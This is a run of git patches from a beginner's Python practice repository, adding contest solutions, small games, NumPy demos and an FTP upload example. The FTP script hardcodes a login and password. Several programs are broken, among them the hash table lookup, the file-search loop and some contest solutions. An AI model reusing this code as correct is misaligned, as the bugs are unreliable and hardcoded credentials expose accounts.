z?lgau#{_!42l)1ZF0Q1K6QiU{DV$~Ca#5sVq>1W$M`@#$Vw}q#Z{rSIKi`yI_`+)G zqbv<*^2UWK^a*T6-5A!qt4cdD^RwT{$x1%#pDl;F@qE`NvmJ&dk3}mV*9t&RSXqM! zXh?9<02S{O)*b7+2S9@0O6}1?2R32;NiNL8(QHN3W&I5Y?3bB6q-|GXy3SjoCR#f-n4*SGpD?7kgB_{CM!MG5Ht9B=+PRXQiFI=h(qm~i^GhvTCy}M_YcxRD(YJV6V5bzkn+!GIqYQtOHR!U3 zBCm9|dX5Z~8rNHj#p{}^-gWDm1u`<0ULUhAwq1}ZO(JNAh|VPQdXn0%b<--VVQTREng`4W~&3X?u| zJ|k8llRK2I`B|xcCogdAn{<4|d_3YqC}?j|cG*r1Fc>ZC%I%hxEu;-vGPE38T6$n> zdT<$}y)pm-WNxyA;8httf4PsA4}aPQK9H)!9O?`e2KlrI$g~tSMp|itff|^ zLmj+$@0;I5*Pg*H5!QsF3le|~N1%KRqeC}XVb5d=b%+KbC#X5jQVminEC}LBztVVh zsRaUGij%U&*E)TzdmS4 Date: Wed, 12 Jul 2017 06:44:11 +0530 Subject: [PATCH 032/101] Updated README --- Scripts/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Scripts/README.md b/Scripts/README.md index 5352c0c4..5daf394c 100644 --- a/Scripts/README.md +++ b/Scripts/README.md @@ -17,6 +17,6 @@ ![Birthday Reminder](Results/BirthdayReminder.png "Birthdays") -* [Birthday Reminder](P09_ReminderApplication.py) - How you get the notifications (`reminder.data`)
+* [Birthday Reminder](P09_ReminderApplication.py) - How you get the notifications
-![Birthday Reminder](Results/BirthdayReminderResults.png "Birthdays") +![Birthday Reminder](Results/BirthdayReminderResult.png "Birthdays") From 2fa3239229eebb79afd7befb8373b9f8a6072695 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 14 Jul 2017 06:51:18 +0530 Subject: [PATCH 033/101] CodeChef: Easy Problems --- CompetitiveProgramming/CodeChef/P24_LUCKY5.py | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 CompetitiveProgramming/CodeChef/P24_LUCKY5.py diff --git a/CompetitiveProgramming/CodeChef/P24_LUCKY5.py b/CompetitiveProgramming/CodeChef/P24_LUCKY5.py new file mode 100644 index 00000000..5ccf6cf1 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P24_LUCKY5.py @@ -0,0 +1,41 @@ +# Chef loves lucky numbers. Everybody knows that lucky numbers are positive integers whose decimal +# representation contains only the lucky digits 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, +# 17, 467 are not. +# +# Chef has a positive integer N. He can apply any of the following operations as many times as he want in +# any order: +# +# Add 1 to the number N. +# Take some digit of N and replace it by any non-zero digit. +# Add any non-zero leading digit to N. +# Find the minimum number of operations that is needed for changing N to the lucky number. +# +# Input +# The first line contains a single positive integer T, the number of test cases. T test cases follow. The +# only line of each test case contains a positive integer N without leading zeros. +# +# Output +# For each T test cases print one integer, the minimum number of operations that is needed for changing N +# to the lucky number. +# +# Constraints +# 1 ≤ T ≤ 10 +# +# 1 ≤ N < 10100000 +# +# Example +# Input: +# 3 +# 25 +# 46 +# 99 +# +# Output: +# 2 +# 1 +# 2 + +for _ in range(int(input())): + number = input().strip() + count = number.count('4') + number.count('7') + print(int(len(number) - count)) From d177c3be7c44e2871c70c863dd421d297bba735b Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Fri, 14 Jul 2017 06:51:27 +0530 Subject: [PATCH 034/101] CodeChef: Easy Problems --- .../CodeChef/P35_AMSGAME1.py | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 CompetitiveProgramming/CodeChef/P35_AMSGAME1.py diff --git a/CompetitiveProgramming/CodeChef/P35_AMSGAME1.py b/CompetitiveProgramming/CodeChef/P35_AMSGAME1.py new file mode 100644 index 00000000..1b77ed86 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P35_AMSGAME1.py @@ -0,0 +1,82 @@ +# Chef is playing a game on a sequence of N positive integers, say A1, A2, ... AN. The game is played as +# follows. +# If all the numbers are equal, the game ends. +# Otherwise +# Select two numbers which are unequal +# Subtract the smaller number from the larger number +# Replace the larger number with the result from above (see the explanation section for clarity) +# Chef has already figured out that the game always terminates. He also knows, for a given sequence of +# integers, the game will always terminate on the same value, no matter how the game is played. Chef wants +# you to simulate the game for him and tell him on which value will the game terminate for a given sequence +# of integers. +# +# Input +# The first line of the input contains an integer T, the number of test cases. Then follow the +# description of T test cases. The first line of each test case contains a single integer N, the length of +# the sequence. The second line contains N positive integers, each separated by a single space. +# +# Output +# For each test case, output a single integer - the value of all the numbers when they are equal (and the game terminates), on a line by itself. +# +# Constraints +# 1 ≤ T ≤ 100 +# 1 ≤ N ≤ 1000 +# 1 ≤ Ai ≤ 109 +# +# Sample +# Input +# 3 +# 2 +# 10 12 +# 2 +# 5 9 +# 3 +# 6 10 15 +# +# Output +# 2 +# 1 +# 1 +# +# Explanation +# Test Case 1: Since there are only two numbers, the operations are forced. +# +# { 10, 12 } => Replace 12 with ( 12 - 10 = 2 ) => { 10, 2 } +# { 10, 2 } => Replace 10 with ( 10 - 2 = 8 ) => { 8, 2 } +# { 8, 2 } => Replace 8 with ( 8 - 2 = 6 ) => { 6, 2 } +# { 6, 2 } => Replace 6 with ( 6 - 2 = 4 ) => { 4, 2 } +# { 4, 2 } => Replace 4 with ( 4 - 2 = 2 ) => { 2, 2 } +# The value of all the numbers when the game ends is 2. +# +# Test Case 2: Since there are only two numbers, the operations are forced. +# +# { 5, 9 } => Replace 9 with ( 9 - 5 = 4 ) => { 5, 4 } +# { 5, 4 } => Replace 5 with ( 5 - 4 = 1 ) => { 1, 4 } +# { 1, 4 } => Replace 4 with ( 4 - 1 = 3 ) => { 1, 3 } +# { 1, 3 } => Replace 3 with ( 3 - 1 = 2 ) => { 1, 2 } +# { 1, 2 } => Replace 2 with ( 2 - 1 = 1 ) => { 1, 1 } +# The value of all the numbers when the game ends is 1. +# +# Test Case 3: One way to play the game is +# +# { 6, 10, 15 } => Replace 15 with ( 15 - 6 = 9 ) => { 6, 10, 9 } +# { 6, 10, 9 } => Replace 10 with ( 10 - 6 = 4 ) => { 6, 4, 9 } +# { 6, 4, 9 } => Replace 9 with ( 9 - 6 = 3 ) => { 6, 4, 3 } +# { 6, 4, 3 } => Replace 6 with ( 6 - 4 = 2 ) => { 2, 4, 3 } +# { 2, 4, 3 } => Replace 3 with ( 3 - 2 = 1 ) => { 2, 4, 1 } +# { 2, 4, 1 } => Replace 4 with ( 4 - 2 = 2 ) => { 2, 2, 1 } +# { 2, 2, 1 } => Replace first 2 with ( 2 - 1 = 1 ) => { 1, 2, 1 } +# { 1, 2, 1 } => Replace 2 with ( 2 - 1 = 1 ) => { 1, 1, 1 } + +for _ in range(int(input())): + n = int(input()) + numbers = [int(i) for i in input().split()] + res = 0 + while True: + maxi = max(numbers) + mini = min(numbers) + res = maxi - mini + numbers[numbers.index(maxi)] = res + if(n == numbers.count(res)): + print(res) + break From c24a39151120f71a44fa23afeb40564b9d5d5f7f Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sat, 15 Jul 2017 06:43:22 +0530 Subject: [PATCH 035/101] Python Generators --- Programs/P74_PythonGenerators.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 Programs/P74_PythonGenerators.py diff --git a/Programs/P74_PythonGenerators.py b/Programs/P74_PythonGenerators.py new file mode 100644 index 00000000..16333bf6 --- /dev/null +++ b/Programs/P74_PythonGenerators.py @@ -0,0 +1,18 @@ +# Author: OMKAR PATHAK + +# A Python generator is a function which returns a generator iterator (just an object we can iterate over) +# by calling yield + +def simpleGenerator(numbers): + i = 0 + while True: + check = input('Wanna generate a number? (If yes, press y else n): ') + if check in ('Y', 'y') and len(numbers) > i: + yield numbers[i] + i += 1 + else: + print('Bye!') + break + +for number in simpleGenerator([10, 11, 12, 14]): + print(number) From 9adb881b57882ebb1c4014c4f6f51126cd380d88 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sat, 15 Jul 2017 06:43:35 +0530 Subject: [PATCH 036/101] Updated README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 79ba370f..a122cb09 100644 --- a/README.md +++ b/README.md @@ -95,6 +95,7 @@ Pune, Maharashtra, India.
5. [Decorators](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P46_Decorators.py) 6. [More on Decorators](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P47_MoreOnDecorators.py) 7. [List Comprehensions](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P50_ListComprehensions.py) +8. [Python Generators](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P74_PythonGenerators.py) ## Numpy 1. [Introduction and Basics of Numpy](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P01_Introduction.py) From aa89184b40b27e0af1f5d6151f9f460952e7f648 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 17 Jul 2017 07:39:00 +0530 Subject: [PATCH 037/101] Updated README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index a122cb09..1fcf3593 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,7 @@ Pune, Maharashtra, India.
1. [Number Guessing Game](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P21_GuessTheNumber.py) 2. [Hangman](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P37_Hangman.py) 3. [Rock Paper Scissor](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P49_RockPaperScissors.py) +4. [Tic Tac Toe](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P75_TicTacToe.py) ## OOP From b84c06876054ed5d07437a338eeda17fba3d9855 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 17 Jul 2017 07:39:12 +0530 Subject: [PATCH 038/101] Tic Tac Toe Game --- Programs/P75_TicTacToe.py | 75 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 Programs/P75_TicTacToe.py diff --git a/Programs/P75_TicTacToe.py b/Programs/P75_TicTacToe.py new file mode 100644 index 00000000..a8dcee4d --- /dev/null +++ b/Programs/P75_TicTacToe.py @@ -0,0 +1,75 @@ +# Author: OMKAR PATHAK + +# A simple example of tic tac toe game + +# For storing user choices +choices = [] + +# For initializing the board with numbers +for i in range(0, 9): + choices.append(str(i)) + +firstPlayer = True +winner = False +iterations = 0 # To terminate the loop + +# For drawing board on to the terminal +def printBoard(): + print('\n=============') + print('| ' + choices[0] + ' | ' + choices[1] + ' | ' + choices[2] + ' |') + print('=============') + print('| ' + choices[3] + ' | ' + choices[4] + ' | ' + choices[5] + ' |') + print('=============') + print('| ' + choices[6] + ' | ' + choices[7] + ' | ' + choices[8] + ' |') + print('=============\n') + +# Play the game while the winner is not decided or the game is drawn +while not winner and iterations < 9: + printBoard() + + iterations += 1 + + if firstPlayer == True: + print('Player 1: ', end = '') + else: + print('Player 2: ', end = '') + + try: + playerInput = int(input()) + except: + print('Please enter a valid number from the board') + continue + + # Check if userInput already has 'X' or 'O' + if choices[playerInput] == 'X' or choices[playerInput] == 'O': + print('Illegal move, try again!') + continue + + if firstPlayer: + choices[playerInput] = 'X' + else: + choices[playerInput] = 'O' + + firstPlayer = not firstPlayer + + # Winning conditions + for index in range(0, 3): + # For [0,1,2], [3,4,5], [6,7,8] + if (choices[index * 3] == choices[((index * 3) + 1)] and choices[index * 3] == choices[((index * 3) + 2)]): + winner = True + printBoard() + + # For [0,3,6], [1,4,7], [2,5,8] + if(choices[index] == choices[index + 3] and choices[index + 3] == choices[index + 6]): + winner = True + printBoard() + + if((choices[0] == choices[4] and choices[4] == choices[8]) or + (choices[2] == choices[4] and choices[4] == choices[6])): + winner = True + printBoard() + +if winner: + print('Player ' + str(int(firstPlayer + 1)) + ' wins!') +else: + print('Game drawn') From 64ac20295d3d9792ff674692699e87a913850576 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 18 Jul 2017 07:04:32 +0530 Subject: [PATCH 039/101] Updated README --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 1fcf3593..97547c3b 100644 --- a/README.md +++ b/README.md @@ -154,3 +154,5 @@ A Python module for writing test cases An example of Python Lambda function * [Python Encryption example using RSA Algorithm](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P73_SimplePythonEncryption.py) Encryption/ Decryption using RSA Algorithm +* [Python ftplib](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P76_PythonFTP.py) +A simple Python FTP file transfer example From 6ec2fe6c15ca27b03d68a16e655f97a678a6e0b0 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 18 Jul 2017 07:04:55 +0530 Subject: [PATCH 040/101] Python FTP file transfer example --- Programs/P76_PythonFTP.py | 46 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 Programs/P76_PythonFTP.py diff --git a/Programs/P76_PythonFTP.py b/Programs/P76_PythonFTP.py new file mode 100644 index 00000000..9df8d201 --- /dev/null +++ b/Programs/P76_PythonFTP.py @@ -0,0 +1,46 @@ +# Author: OMKAR PATHAK + +# For transfering files to your another/local computer, you will have to install a FTP +# Daemon. Execute following for doing the same: +# 1. sudo apt-get install vsftpd +# 2. service vsftpd start +# 3. sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.orig +# 4. sudo nano /etc/vsftpd.conf + +# Now change the following settings in that file: +# +# anonymous_enable=NO # disable anonymous login +# local_enable=YES # permit local logins +# write_enable=YES # enable FTP commands which change the filesystem +# local_umask=022 # value of umask for file creation for local users +# dirmessage_enable=YES # enable showing of messages when users first enter a new directory +# xferlog_enable=YES # a log file will be maintained detailing uploads and downloads +# connect_from_port_20=YES # use port 20 (ftp-data) on the server machine for PORT style connections +# xferlog_std_format=YES # keep standard log file format +# listen=NO # prevent vsftpd from running in standalone mode +# listen_ipv6=YES # vsftpd will listen on an IPv6 socket instead of an IPv4 one +# pam_service_name=vsftpd # name of the PAM service vsftpd will use +# userlist_enable=YES # enable vsftpd to load a list of usernames +# tcp_wrappers=YES # turn on tcp wrappers + +import ftplib + +def ftp_upload(ftpObj, pathToSend, pathToRecv, fileType='TXT'): + """ + A function for uploading files to an FTP server + @param ftpObj: The file transfer protocol object + @param path: The path to the file to upload + """ + with open(pathToSend, 'rb') as fobj: + ftpObj.storlines('STOR ' + pathToRecv, fobj) + +if __name__ == '__main__': + ftp = ftplib.FTP('127.0.0.1') + ftp.login('omkarpathak', '8149omkar') + print('Logged in..') + + pathToSend = '/home/omkarpathak/Desktop/output.txt' + pathToRecv = '/home/omkarpathak/Documents/output.txt' + ftp_upload(ftp, pathToSend, pathToRecv) + + ftp.quit() From 1e751d53612f3a7ab554a1c0ab9bc868d24e6fc9 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 18 Jul 2017 11:39:01 +0530 Subject: [PATCH 041/101] Updated README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 97547c3b..f94bca2a 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,7 @@ Pune, Maharashtra, India.
## Simple Games in Python 1. [Number Guessing Game](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P21_GuessTheNumber.py) -2. [Hangman](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P37_Hangman.py) +2. [Hangman](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P37_HangmanGame.py) 3. [Rock Paper Scissor](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P49_RockPaperScissors.py) 4. [Tic Tac Toe](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P75_TicTacToe.py) From 789f1cf68cfda18eeaf7a1e4eec810b2b04b7dc7 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Sun, 23 Jul 2017 07:22:49 +0530 Subject: [PATCH 042/101] Python search a file in file system --- Programs/P77_FileSearching.py | 51 +++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 Programs/P77_FileSearching.py diff --git a/Programs/P77_FileSearching.py b/Programs/P77_FileSearching.py new file mode 100644 index 00000000..a651b5c8 --- /dev/null +++ b/Programs/P77_FileSearching.py @@ -0,0 +1,51 @@ +# Author: OMKAR PATHAK + +# This program will help us implement concepts such as binary searching, operating system. +# P.S: Dont run this on root. That is dont give the DIRECTORY path as root else the program might +# consume all your resources and your system might get crashed + +import os +from pathlib import Path + +DIRECTORY = '/home/omkarpathak/Desktop' + +# List all the directories in the DIRECTORY +dirs = [name for name in os.listdir(DIRECTORY) if os.path.isdir(os.path.join(DIRECTORY, name))] + +# List all the files in the DIRECTORY +# files = [name for name in os.listdir(DIRECTORY) if os.path.isfile(os.path.join(DIRECTORY, name))] +files = [] + +for root, dirs, files in os.walk(DIRECTORY): + for File in files: + files.append(root + File) + +dirs.sort() +files.sort() + +def binarySearch(target, List): + '''This function performs a binary search on a sorted list and returns the position if successful else returns -1''' + left = 0 #First position of the list + right = len(List) - 1 #Last position of the list + global iterations + iterations = 0 + + while left <= right: #U can also write while True condition + iterations += 1 + mid = (left + right) // 2 + if target == List[mid]: + return mid, List[mid] + elif target < List[mid]: + right = mid - 1 + else: + left = mid + 1 + return -1 + +print(dirs) +print(files) + +try: + result, filePath = binarySearch('server.py', files) + print(os.path.abspath(filePath)) +except: + print('File not found') From b517813047fd991a0f93d6d0f2e4076a2c6fb631 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 24 Jul 2017 07:15:53 +0530 Subject: [PATCH 043/101] Uppdated README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index f94bca2a..a1deb5b0 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ Pune, Maharashtra, India.
* [More on Stacks..](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Stack) 5. [Queue](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P39_Queue.py) * [More on Queues..](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Queue) +6. [Hash Table](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P78_HashTable.py) ## Simple Games in Python From a71e49ed1d9b7439ef3280c07de8fb59e5f50832 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 24 Jul 2017 07:16:14 +0530 Subject: [PATCH 044/101] HashTable implementation in Python --- Programs/P78_HashTable.py | 40 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 Programs/P78_HashTable.py diff --git a/Programs/P78_HashTable.py b/Programs/P78_HashTable.py new file mode 100644 index 00000000..c4aaf612 --- /dev/null +++ b/Programs/P78_HashTable.py @@ -0,0 +1,40 @@ +# Author: OMKAR PATHAK + +# In computing, a hash table (hash map) is a data structure which implements an associative array abstract +# data type, a structure that can map keys to values. A hash table uses a hash function to compute an index +# into an array of buckets or slots, from which the desired value can be found. + +# Python's built-in data type dictionary uses hash tables to retrieve key value pairs. + +class HashMap(object): + def __init__(self): + self.hash_map = [[(None, None)] for _ in range(10)] + + def insert(self, key, value): + hash_key = hash(key) % len(self.hash_map) + key_exists = 0 + hash_list = self.hash_map[hash_key] + # print(key, value) + for i, key_value_pair in enumerate(hash_list): + key_in_table, value_in_table = key_value_pair + if key == key_in_table or key_in_table == None: + key_exists = 1 + if key_exists: + hash_list[i] = ((key, value)) + else: + hash_list.append((key, value)) + + def get(self, key): + hash_key = hash(key) % len(self.hash_map) + hash_list = self.hash_map[hash_key] + for i, key_value in enumerate(hash_list): + key_in_table, value_in_table = key_value + return value_in_table + raise KeyError + +if __name__ == '__main__': + myDict = HashMap() + myDict.insert('Omkar', 'Pathak') + myDict.insert('Jagdish', 'Pathak') + value = myDict.get('Omkar') + print(value) From 7caad0a90fca3df049b240a4680aeca09bddb19f Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 24 Jul 2017 07:16:34 +0530 Subject: [PATCH 045/101] CodeChef: Easy Problems --- CompetitiveProgramming/CodeChef/P36_SUBGCD.py | 70 +++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 CompetitiveProgramming/CodeChef/P36_SUBGCD.py diff --git a/CompetitiveProgramming/CodeChef/P36_SUBGCD.py b/CompetitiveProgramming/CodeChef/P36_SUBGCD.py new file mode 100644 index 00000000..a4d503a8 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P36_SUBGCD.py @@ -0,0 +1,70 @@ +# Given an array A1,A2...AN, you have to print the size of the largest contiguous subarray such that +# GCD of all integers in that subarray is 1. +# +# Formally, +# For a subarray Ai,Ai+1...Aj where 1 ≤ i < j ≤ N to be valid: GCD(Ai,Ai+1...Aj) should be 1. You have to +# print the size of the largest valid subarray. +# +# +# If no valid subarray exists, output -1. +# +# Note:A single element is not considered as a subarray according to the definition of this problem. +# +# Input +# First line contains T, the number of testcases. Each testcase consists of N in one line followed by N +# integers in the next line. +# +# Output +# For each testcase, print the required answer in one line. +# +# Constraints +# 1 ≤ T ≤ 10 +# 2 ≤ N ≤ 105 +# 1 ≤ Ai ≤ 105 +# +# Example +# Input: +# 2 +# 2 +# 7 2 +# 3 +# 2 2 4 +# +# Output: +# 2 +# -1 +# Explanation +# Example case 1.GCD(2,7)=1. So the subarray [A1,A2] is valid. +# +# Example case 2.No subarray satisfies. +# + +def gcd(firstNumber, secondNumber): + firstNumber = int(firstNumber) + secondNumber = int(secondNumber) + if firstNumber < secondNumber: + smaller = firstNumber + else: + smaller = secondNumber + + for i in range(1, smaller + 1): + if (firstNumber % i == 0) and (secondNumber % i == 0): + gcd = i + + return gcd + +for _ in range(int(input())): + count = int(input()) + array = input().split() + currentGCD = array[0] + flag = 0 + size = 0 + for i in array: + currentGCD = gcd(i, currentGCD) + if currentGCD == 1: + flag = 1 + print(count) + break + + if flag == 0: + print(-1) From 3d7d11452ac065268f0e7853d7eddf7734dbfd00 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 24 Jul 2017 07:16:56 +0530 Subject: [PATCH 046/101] HackerEarth: Data Structures --- .../DataStructures/Queue/P01_Queue.py | 52 +++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/DataStructures/Queue/P01_Queue.py diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P01_Queue.py b/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P01_Queue.py new file mode 100644 index 00000000..917fd1dd --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P01_Queue.py @@ -0,0 +1,52 @@ +# You have to perform N operations on a queue of the following types: E x : Enqueue x in the queue and +# print the new size of the queue. D : Dequeue from the queue and print the element that is deleted and +# the new size of the queue separated by a space. If there is no element in the queue, then print −1 in +# place of the deleted element. +# +# Input format +# First line: N +# Next N lines: One of the above operations +# +# Output format +# Enqueue operation: Print the new size of the queue +# Dequeue operation: Print two integers, the deleted element and the new size of the queue. If the queue is +# empty, print −1 and the new size of the queue. +# +# Constraints +# 1≤N≤100 +# 1≤x≤100 +# +# SAMPLE INPUT +# 5 +# E 2 +# D +# D +# E 3 +# D +# +# SAMPLE OUTPUT +# 1 +# 2 0 +# -1 0 +# 1 +# 3 0 + +def enqueue(myList, element): + myList.insert(0, element) + +def dequeue(myList): + if len(myList) > 0: + return myList.pop() + else: + return -1 + +myList = [] + +for _ in range(int(input())): + userInput = input().split() + if userInput[0] == 'E': + enqueue(myList, int(userInput[1])) + print(len(myList)) + else: + deleted = dequeue(myList) + print(deleted, len(myList)) From 91c78c00f20229e1eb74d0e7bc105629a9198170 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Mon, 24 Jul 2017 07:17:07 +0530 Subject: [PATCH 047/101] HackerEarth: Data Structures Problems --- .../Queue/P02_MonkAndGobletOfFire.py | 61 +++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 CompetitiveProgramming/HackerEarth/DataStructures/Queue/P02_MonkAndGobletOfFire.py diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P02_MonkAndGobletOfFire.py b/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P02_MonkAndGobletOfFire.py new file mode 100644 index 00000000..a5e24799 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P02_MonkAndGobletOfFire.py @@ -0,0 +1,61 @@ +# Albus Dumbledore announced that the school will host the legendary event known as Wizard Tournament where +# four magical schools are going to compete against each other in a very deadly competition by facing some +# dangerous challenges. Since the team selection is very critical in this deadly competition. Albus +# Dumbledore asked Little Monk to help him in the team selection process. There is a long queue of students +# from all the four magical schools. Each student of a school have a different roll number. Whenever a +# new student will come, he will search for his schoolmate from the end of the queue. As soon as he will +# find any of the schoolmate in the queue, he will stand behind him, otherwise he will stand at the end of +# the queue. At any moment Little Monk will ask the student, who is standing in front of the queue, to +# come and put his name in the Goblet of Fire and remove him from the queue. There are Q operations of +# one of the following types: +# +# E x y: A new student of school x (1≤x≤4) whose roll number is (1≤y≤50000) will stand in queue according +# to the method mentioned above. +# +# D: Little Monk will ask the student, who is standing in front of the queue, to come and put his name in +# the Goblet of Fire and remove him from the queue +# +# Now Albus Dumbledore asked Little Monk to tell him the order in which student put their name. Little Monk +# is too lazy to that so he asked you to write a program to print required order. +# +# Note: Number of dequeue operations will never be greater than enqueue operations at any point of time. +# +# Input Format: +# First line contains an integer Q (1≤Q≤100000), denoting the number of operations. Next Q lines will contains +# one of the 2 types of operations. +# +# Output Format: +# For each 2nd type of operation, print two space separated integers, the front student's school and roll number. +# +# SAMPLE INPUT +# 5 +# E 1 1 +# E 2 1 +# E 1 2 +# D +# D +# +# SAMPLE OUTPUT +# 1 1 +# 1 2 + +def enqueue(myList, element): + try: + index = [x for x, y in enumerate(myList) if x == element[0]] + myList.insert(int(''.join([str(x) for x in index])), element) + except ValueError: + myList.insert(0, element) + +def dequeue(myList): + if len(myList) > 0: + return myList.pop() + +myList = [] + +for _ in range(int(input())): + userInput = input().split() + if userInput[0] == 'E': + enqueue(myList, [int(userInput[1]), int(userInput[2])]) + else: + deleted = dequeue(myList) + print(' '.join([str(element) for element in deleted])) From dc03a52966b0c7caa9b0a951d4f4d9aa390b8ef2 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 25 Jul 2017 07:07:43 +0530 Subject: [PATCH 048/101] Numpy String Functions --- Numpy/P06_NumpyStringFunctions.py | 43 +++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 Numpy/P06_NumpyStringFunctions.py diff --git a/Numpy/P06_NumpyStringFunctions.py b/Numpy/P06_NumpyStringFunctions.py new file mode 100644 index 00000000..2337a251 --- /dev/null +++ b/Numpy/P06_NumpyStringFunctions.py @@ -0,0 +1,43 @@ +# Author: OMKAR PATHAK + +import numpy as np + +abc = ['abc'] +xyz = ['xyz'] + +# string concatenation +print(np.char.add(abc, xyz)) # ['abcxyz'] + +print(np.char.add(abc, 'pqr')) # ['abcpqr'] + +# string multiplication +print(np.char.multiply(abc, 3)) # ['abcabcabc'] + +# numpy.char.center: This function returns an array of the required width so that the input string is +# centered and padded on the left and right with fillchar. + +print(np.char.center(abc, 20, fillchar = '*')) # ['********abc*********'] + +# numpy.char.capitalize(): This function returns the copy of the string with the first letter capitalized. +print(np.char.capitalize('hello world')) # Hello world + +# numpy.char.title(): This function returns a title cased version of the input string with the first letter +# of each word capitalized. +print(np.char.title('hello how are you?')) # Hello How Are You? + +# numpy.char.lower(): This function returns an array with elements converted to lowercase. It calls +# str.lower for each element. +print(np.char.lower(['HELLO','WORLD'])) # ['hello' 'world'] + +# numpy.char.upper(): This function calls str.upper function on each element in an array to return +# the uppercase array elements. +print(np.char.upper('hello')) # HELLO + +# numpy.char.split(): This function returns a list of words in the input string. By default, a whitespace +# is used as a separator +print(np.char.split('Omkar Pathak')) # ['Omkar', 'Pathak'] +print(np.char.split('2017-02-11', sep='-')) # ['2017', '02', '11'] + +# numpy.char.join(): This method returns a string in which the individual characters are joined by +# separator character specified. +print(np.char.join(':','dmy')) # d:m:y From 86d68f993fcbb9cd36dea36142c3a22b66d340d8 Mon Sep 17 00:00:00 2001 From: Omkar Pathak Date: Tue, 25 Jul 2017 07:07:53 +0530 Subject: [PATCH 049/101] Numpy Mathematical Functions --- Numpy/P07_NumpyMathematicalFunctions.py | 30 +++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 Numpy/P07_NumpyMathematicalFunctions.py diff --git a/Numpy/P07_NumpyMathematicalFunctions.py b/Numpy/P07_NumpyMathematicalFunctions.py new file mode 100644 index 00000000..3929826f --- /dev/null +++ b/Numpy/P07_NumpyMathematicalFunctions.py @@ -0,0 +1,30 @@ +# Author: OMKAR PATHAK + +import numpy as np + +angles = np.array([0, 30, 45, 60, 90, 180, 360]) + +# Convert to radians by multiplying with pi/180 +# for getting sine of angles +print(np.sin(angles * np.pi/180)) + +# for getting cosine of angles +print(np.cos(angles * np.pi/180)) + +# for getting tangent of angles +print(np.tan(angles * np.pi/180)) + +# for computing inverse of trigonometric functions +sine = np.sin(angles * np.pi/180) +sineinv = np.arcsin(sine) +# computing angle from inverse +print(np.degrees(sineinv)) + +# for rounding the values +print(np.around(sine, 4)) # [ 0.      0.5     0.7071  0.866   1.      0.     -0.    ] + +# for rounding to previous integer +print(np.floor(sine)) # [ 0.  0.  0.  0.  1.  0. -1.] + +# for rounding to next integer +print(np.ceil(sine)) # [ 0.  1.  1.  1.  1. 